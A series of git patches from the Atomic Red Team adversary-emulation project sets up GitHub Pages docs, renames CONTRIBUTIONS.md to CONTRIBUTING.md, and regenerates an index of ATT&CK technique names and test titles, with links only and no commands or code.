From 61f57e2649df785f66429376fb3be8806f7c2b4a Mon Sep 17 00:00:00 2001 From: Brian Beyer Date: Tue, 12 Jun 2018 08:18:07 -0600 Subject: [PATCH 01/91] Create docs directory for Github pages --- docs/index.md | 1 + 1 file changed, 1 insertion(+) create mode 100644 docs/index.md diff --git a/docs/index.md b/docs/index.md new file mode 100644 index 00000000..d7c51d9d --- /dev/null +++ b/docs/index.md @@ -0,0 +1 @@ +# This is a temporary file From e4847a8dd04c3fd8326a7ea1344217b80917acd8 Mon Sep 17 00:00:00 2001 From: Brian Beyer Date: Tue, 12 Jun 2018 08:18:44 -0600 Subject: [PATCH 02/91] Set theme jekyll-theme-cayman --- docs/_config.yml | 1 + 1 file changed, 1 insertion(+) create mode 100644 docs/_config.yml diff --git a/docs/_config.yml b/docs/_config.yml new file mode 100644 index 00000000..c4192631 --- /dev/null +++ b/docs/_config.yml @@ -0,0 +1 @@ +theme: jekyll-theme-cayman \ No newline at end of file From 5ef0b6bd3dfc4ee320b8c3af84f4ae4e88c0192e Mon Sep 17 00:00:00 2001 From: Brian Beyer Date: Tue, 12 Jun 2018 08:19:18 -0600 Subject: [PATCH 03/91] Create CNAME --- docs/CNAME | 1 + 1 file changed, 1 insertion(+) create mode 100644 docs/CNAME diff --git a/docs/CNAME b/docs/CNAME new file mode 100644 index 00000000..2018f504 --- /dev/null +++ b/docs/CNAME @@ -0,0 +1 @@ +atomicredteam.io \ No newline at end of file From 2dc247e50909c6b264ac6d92d749d2b5e79b7366 Mon Sep 17 00:00:00 2001 From: Brian Beyer Date: Tue, 12 Jun 2018 08:19:54 -0600 Subject: [PATCH 04/91] Moved to docs --- CNAME | 1 - 1 file changed, 1 deletion(-) delete mode 100644 CNAME diff --git a/CNAME b/CNAME deleted file mode 100644 index 2018f504..00000000 --- a/CNAME +++ /dev/null @@ -1 +0,0 @@ -atomicredteam.io \ No newline at end of file From 900de848485789e85d069f1b1da924e3aace4a8d Mon Sep 17 00:00:00 2001 From: Brian Beyer Date: Tue, 12 Jun 2018 08:56:24 -0600 Subject: [PATCH 05/91] Follow Github naming conventions --- CONTRIBUTIONS.md => CONTRIBUTING.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) rename CONTRIBUTIONS.md => CONTRIBUTING.md (99%) diff --git a/CONTRIBUTIONS.md b/CONTRIBUTING.md similarity index 99% rename from CONTRIBUTIONS.md rename to CONTRIBUTING.md index 944594b8..2d3220cf 100644 --- a/CONTRIBUTIONS.md +++ b/CONTRIBUTING.md @@ -95,4 +95,4 @@ bin/generate-atomic-docs.rb ``` The CircleCI build will automatically generate docs for your and commit them to your -pull request to ensure they are updated before being merged into master. \ No newline at end of file +pull request to ensure they are updated before being merged into master. From 11169584311ce12aac78ed44785f8a8b3bd61d0c Mon Sep 17 00:00:00 2001 From: Brian Beyer Date: Tue, 12 Jun 2018 08:58:22 -0600 Subject: [PATCH 06/91] follow Github naming convention --- atomic_red_team/atomic_red_team.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/atomic_red_team/atomic_red_team.rb b/atomic_red_team/atomic_red_team.rb index 2fcc62be..e362d31b 100755 --- a/atomic_red_team/atomic_red_team.rb +++ b/atomic_red_team/atomic_red_team.rb @@ -57,7 +57,7 @@ class AtomicRedTeam "[#{link_display}](./#{technique_identifier}/#{technique_identifier}.md)" else # we don't have a file for this technique, so link to an edit page - "[#{link_display}](#{ROOT_GITHUB_URL}/blob/uppercase-everything/CONTRIBUTIONS.md)" + "[#{link_display}](#{ROOT_GITHUB_URL}/blob/uppercase-everything/CONTRIBUTING.md)" end end From eb1087515bbf181b5db2f3d7aeaaacab609d8c29 Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Tue, 12 Jun 2018 14:58:34 +0000 Subject: [PATCH 07/91] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/index.md | 304 +++++++++++++++++++------------------- atomics/linux-index.md | 152 +++++++++---------- atomics/linux-matrix.md | 40 ++--- atomics/macos-index.md | 170 ++++++++++----------- atomics/macos-matrix.md | 48 +++--- atomics/matrix.md | 102 ++++++------- atomics/windows-index.md | 274 +++++++++++++++++----------------- atomics/windows-matrix.md | 86 +++++------ 8 files changed, 588 insertions(+), 588 deletions(-) diff --git a/atomics/index.md b/atomics/index.md index be80c1b6..611ca226 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -10,32 +10,32 @@ - Atomic Test #5: Attaches Command Prompt As Debugger To Process - narrator [windows] - Atomic Test #6: Attaches Command Prompt As Debugger To Process - DisplaySwitch [windows] - Atomic Test #7: Attaches Command Prompt As Debugger To Process - AtBroker [windows] -- [T1182 AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1182 AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1103 AppInit DLLs](./T1103/T1103.md) - Atomic Test #1: Install AppInit Shim [windows] - [T1138 Application Shimming](./T1138/T1138.md) - Atomic Test #1: Application Shim Installation [windows] -- [T1131 Authentication Package](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1131 Authentication Package](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1197 BITS Jobs](./T1197/T1197.md) - Atomic Test #1: Download & Execute [windows] - Atomic Test #2: Download & Execute via PowerShell BITS [windows] -- [T1067 Bootkit](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1067 Bootkit](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1176 Browser Extensions](./T1176/T1176.md) - Atomic Test #1: Chrome (Developer Mode) [linux, windows, macos] - Atomic Test #2: Chrome (Chrome Web Store) [linux, windows, macos] - Atomic Test #3: Firefox [linux, windows, macos] - [T1042 Change Default File Association](./T1042/T1042.md) - Atomic Test #1: Change Default File Association [windows] -- [T1109 Component Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1109 Component Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1122 Component Object Model Hijacking](./T1122/T1122.md) - Atomic Test #1: PowerShell UAC Bypass [windows] - [T1136 Create Account](./T1136/T1136.md) - Atomic Test #1: Create a user account on a Linux system [linux] - Atomic Test #2: Create a user account on a MacOS system [macos] -- [T1038 DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1157 Dylib Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1133 External Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1044 File System Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1038 DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1157 Dylib Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1133 External Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1044 File System Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1158 Hidden Files and Directories](./T1158/T1158.md) - Atomic Test #1: Create a hidden file in a hidden directory [linux, macos] - Atomic Test #2: Mac Hidden file [macos] @@ -47,13 +47,13 @@ - Atomic Test #8: Create hidden directories and files [macos, linux] - [T1179 Hooking](./T1179/T1179.md) - Atomic Test #1: Hook PowerShell TLS Encrypt/Decrypt Messages [windows] -- [T1062 Hypervisor](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1062 Hypervisor](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1183 Image File Execution Options Injection](./T1183/T1183.md) - Atomic Test #1: IFEO Add Debugger [windows] - Atomic Test #2: IFEO GLobal Flags [windows] -- [T1215 Kernel Modules and Extensions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1161 LC_LOAD_DYLIB Addition](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1177 LSASS Driver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1215 Kernel Modules and Extensions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1161 LC_LOAD_DYLIB Addition](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1177 LSASS Driver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1159 Launch Agent](./T1159/T1159.md) - Atomic Test #1: Launch Agent [macos] - [T1160 Launch Daemon](./T1160/T1160.md) @@ -63,11 +63,11 @@ - [T1168 Local Job Scheduling](./T1168/T1168.md) - Atomic Test #1: Cron Job [macos, centos, ubuntu, linux] - Atomic Test #2: Cron Job [macos, centos, ubuntu, linux] -- [T1162 Login Item](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1162 Login Item](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1037 Logon Scripts](./T1037/T1037.md) - Atomic Test #1: Logon Scripts [windows] - Atomic Test #2: Logon Scripts - Mac [macos] -- [T1031 Modify Existing Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1031 Modify Existing Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1128 Netsh Helper DLL](./T1128/T1128.md) - Atomic Test #1: Netsh Helper DLL Registration [windows] - [T1050 New Service](./T1050/T1050.md) @@ -75,43 +75,43 @@ - Atomic Test #2: Service Installation PowerShell Installs A Local Service using PowerShell [windows] - [T1137 Office Application Startup](./T1137/T1137.md) - Atomic Test #1: DDEAUTO [windows] -- [T1034 Path Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1034 Path Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1150 Plist Modification](./T1150/T1150.md) - Atomic Test #1: Plist Modification [macos] -- [T1205 Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1013 Port Monitors](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1205 Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1013 Port Monitors](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1163 Rc.common](./T1163/T1163.md) - Atomic Test #1: rc.common [macos] - [T1164 Re-opened Applications](./T1164/T1164.md) - Atomic Test #1: Re-Opened Applications [macos] - Atomic Test #2: Re-Opened Applications [macos] -- [T1108 Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1108 Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1060 Registry Run Keys / Start Folder](./T1060/T1060.md) - Atomic Test #1: Reg Key Run [windows] - Atomic Test #2: Reg Key RunOnce [windows] - Atomic Test #3: PowerShell Registry RunOnce [windows] - Atomic Test #4: Startup Folder [windows] -- [T1198 SIP and Trust Provider Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1198 SIP and Trust Provider Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1053 Scheduled Task](./T1053/T1053.md) - Atomic Test #1: At.exe Scheduled task [windows] - Atomic Test #2: Scheduled task Local [windows] - Atomic Test #3: Scheduled task Remote [windows] -- [T1180 Screensaver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1101 Security Support Provider](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1058 Service Registry Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1023 Shortcut Modification](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1180 Screensaver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1101 Security Support Provider](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1058 Service Registry Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1023 Shortcut Modification](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1165 Startup Items](./T1165/T1165.md) - Atomic Test #1: Startup Items [macos] -- [T1019 System Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1209 Time Providers](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1019 System Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1209 Time Providers](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1154 Trap](./T1154/T1154.md) - Atomic Test #1: Trap [macos, centos, ubuntu, linux] -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1100 Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1100 Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1084 Windows Management Instrumentation Event Subscription](./T1084/T1084.md) - Atomic Test #1: Persistence [windows] - Atomic Test #2: Persistence Cleanup [windows] -- [T1004 Winlogon Helper DLL](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1004 Winlogon Helper DLL](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # defense-evasion - [T1134 Access Token Manipulation](./T1134/T1134.md) @@ -119,8 +119,8 @@ - [T1197 BITS Jobs](./T1197/T1197.md) - Atomic Test #1: Download & Execute [windows] - Atomic Test #2: Download & Execute via PowerShell BITS [windows] -- [T1009 Binary Padding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1088 Bypass User Account Control](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1009 Binary Padding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1088 Bypass User Account Control](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1191 CMSTP](./T1191/T1191.md) - Atomic Test #1: CMSTP Executing Remote Scriptlet [windows] - [T1146 Clear Command History](./T1146/T1146.md) @@ -130,15 +130,15 @@ - Atomic Test #4: Clear Bash history (ln dev/null) [linux, macos] - Atomic Test #5: Clear Bash history (truncate) [linux] - Atomic Test #6: Clear history of a bunch of shells [linux, macos] -- [T1116 Code Signing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1109 Component Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1116 Code Signing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1109 Component Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1122 Component Object Model Hijacking](./T1122/T1122.md) - Atomic Test #1: PowerShell UAC Bypass [windows] -- [T1196 Control Panel Items](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1196 Control Panel Items](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1207 DCShadow](./T1207/T1207.md) - Atomic Test #1: DCShadow - Mimikatz [windows] -- [T1038 DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1073 DLL Side-Loading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1038 DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1073 DLL Side-Loading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1140 Deobfuscate/Decode Files or Information](./T1140/T1140.md) - Atomic Test #1: Deobfuscate/Decode Files Or Information [windows] - [T1089 Disabling Security Tools](./T1089/T1089.md) @@ -149,8 +149,8 @@ - Atomic Test #5: Disable Carbon Black Response [macos] - Atomic Test #6: Disable LittleSnitch [macos] - Atomic Test #7: Disable OpenDNS Umbrella [macos] -- [T1211 Exploitation for Defense Evasion](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1181 Extra Window Memory Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1211 Exploitation for Defense Evasion](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1181 Extra Window Memory Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1107 File Deletion](./T1107/T1107.md) - Atomic Test #1: Victim configuration [linux] - Atomic Test #2: Delete a single file [linux] @@ -165,7 +165,7 @@ - Atomic Test #11: Delete VSS - wmic [windows] - Atomic Test #12: bcdedit [windows] - Atomic Test #13: wbadmin [windows] -- [T1006 File System Logical Offsets](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1006 File System Logical Offsets](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1144 Gatekeeper Bypass](./T1144/T1144.md) - Atomic Test #1: Gatekeeper Bypass [macos] - [T1148 HISTCONTROL](./T1148/T1148.md) @@ -180,12 +180,12 @@ - Atomic Test #8: Create hidden directories and files [macos, linux] - [T1147 Hidden Users](./T1147/T1147.md) - Atomic Test #1: Hidden Users [macos] -- [T1143 Hidden Window](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1143 Hidden Window](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1183 Image File Execution Options Injection](./T1183/T1183.md) - Atomic Test #1: IFEO Add Debugger [windows] - Atomic Test #2: IFEO GLobal Flags [windows] -- [T1054 Indicator Blocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1066 Indicator Removal from Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1054 Indicator Blocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1066 Indicator Removal from Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1070 Indicator Removal on Host](./T1070/T1070.md) - Atomic Test #1: Clear Logs [windows] - Atomic Test #2: FSUtil [windows] @@ -197,26 +197,26 @@ - Atomic Test #1: Install root CA on CentOS/RHEL [linux] - [T1118 InstallUtil](./T1118/T1118.md) - Atomic Test #1: InstallUtil uninstall method call [windows] -- [T1149 LC_MAIN Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1149 LC_MAIN Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1152 Launchctl](./T1152/T1152.md) - Atomic Test #1: Launchctl [macos] -- [T1036 Masquerading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1112 Modify Registry](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1036 Masquerading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1112 Modify Registry](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1170 Mshta](./T1170/T1170.md) - Atomic Test #1: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject [windows] - [T1096 NTFS File Attributes](./T1096/T1096.md) - Atomic Test #1: Alternate Data Streams (ADS) [windows] -- [T1126 Network Share Connection Removal](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1027 Obfuscated Files or Information](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1126 Network Share Connection Removal](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1027 Obfuscated Files or Information](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1150 Plist Modification](./T1150/T1150.md) - Atomic Test #1: Plist Modification [macos] -- [T1205 Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1186 Process Doppelgänging](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1093 Process Hollowing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1205 Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1186 Process Doppelgänging](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1093 Process Hollowing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1055 Process Injection](./T1055/T1055.md) - Atomic Test #1: Process Injection via mavinject.exe [windows] - Atomic Test #2: Process Injection via PowerSploit [windows] -- [T1108 Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1108 Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1121 Regsvcs/Regasm](./T1121/T1121.md) - Atomic Test #1: Regasm Uninstall Method Call Test [windows] - Atomic Test #2: Regsvs Uninstall Method Call Test [windows] @@ -230,11 +230,11 @@ - Atomic Test #3: LD_PRELOAD based Rootkit [linux] - [T1085 Rundll32](./T1085/T1085.md) - Atomic Test #1: Rundll32 execute JavaScript Remote Payload With GetObject [windows] -- [T1198 SIP and Trust Provider Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1064 Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1218 Signed Binary Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1216 Signed Script Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1045 Software Packing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1198 SIP and Trust Provider Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1064 Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1218 Signed Binary Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1216 Signed Script Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1045 Software Packing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1151 Space after Filename](./T1151/T1151.md) - Atomic Test #1: Space After Filename [macos] - [T1099 Timestomp](./T1099/T1099.md) @@ -243,8 +243,8 @@ - Atomic Test #3: Set a file's creation timestamp [linux, macos] - [T1127 Trusted Developer Utilities](./T1127/T1127.md) - Atomic Test #1: MSBuild Bypass Using Inline Tasks [windows] -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1102 Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1102 Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # privilege-escalation - [T1134 Access Token Manipulation](./T1134/T1134.md) @@ -257,17 +257,17 @@ - Atomic Test #5: Attaches Command Prompt As Debugger To Process - narrator [windows] - Atomic Test #6: Attaches Command Prompt As Debugger To Process - DisplaySwitch [windows] - Atomic Test #7: Attaches Command Prompt As Debugger To Process - AtBroker [windows] -- [T1182 AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1182 AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1103 AppInit DLLs](./T1103/T1103.md) - Atomic Test #1: Install AppInit Shim [windows] - [T1138 Application Shimming](./T1138/T1138.md) - Atomic Test #1: Application Shim Installation [windows] -- [T1088 Bypass User Account Control](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1038 DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1157 Dylib Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1068 Exploitation for Privilege Escalation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1181 Extra Window Memory Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1044 File System Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1088 Bypass User Account Control](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1038 DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1157 Dylib Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1068 Exploitation for Privilege Escalation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1181 Extra Window Memory Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1044 File System Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1179 Hooking](./T1179/T1179.md) - Atomic Test #1: Hook PowerShell TLS Encrypt/Decrypt Messages [windows] - [T1183 Image File Execution Options Injection](./T1183/T1183.md) @@ -278,27 +278,27 @@ - [T1050 New Service](./T1050/T1050.md) - Atomic Test #1: Service Installation [windows] - Atomic Test #2: Service Installation PowerShell Installs A Local Service using PowerShell [windows] -- [T1034 Path Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1034 Path Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1150 Plist Modification](./T1150/T1150.md) - Atomic Test #1: Plist Modification [macos] -- [T1013 Port Monitors](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1013 Port Monitors](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1055 Process Injection](./T1055/T1055.md) - Atomic Test #1: Process Injection via mavinject.exe [windows] - Atomic Test #2: Process Injection via PowerSploit [windows] -- [T1178 SID-History Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1178 SID-History Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1053 Scheduled Task](./T1053/T1053.md) - Atomic Test #1: At.exe Scheduled task [windows] - Atomic Test #2: Scheduled task Local [windows] - Atomic Test #3: Scheduled task Remote [windows] -- [T1058 Service Registry Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1058 Service Registry Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1166 Setuid and Setgid](./T1166/T1166.md) - Atomic Test #1: Setuid and Setgid [macos, centos, ubuntu, linux] - [T1165 Startup Items](./T1165/T1165.md) - Atomic Test #1: Startup Items [macos] -- [T1169 Sudo](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1206 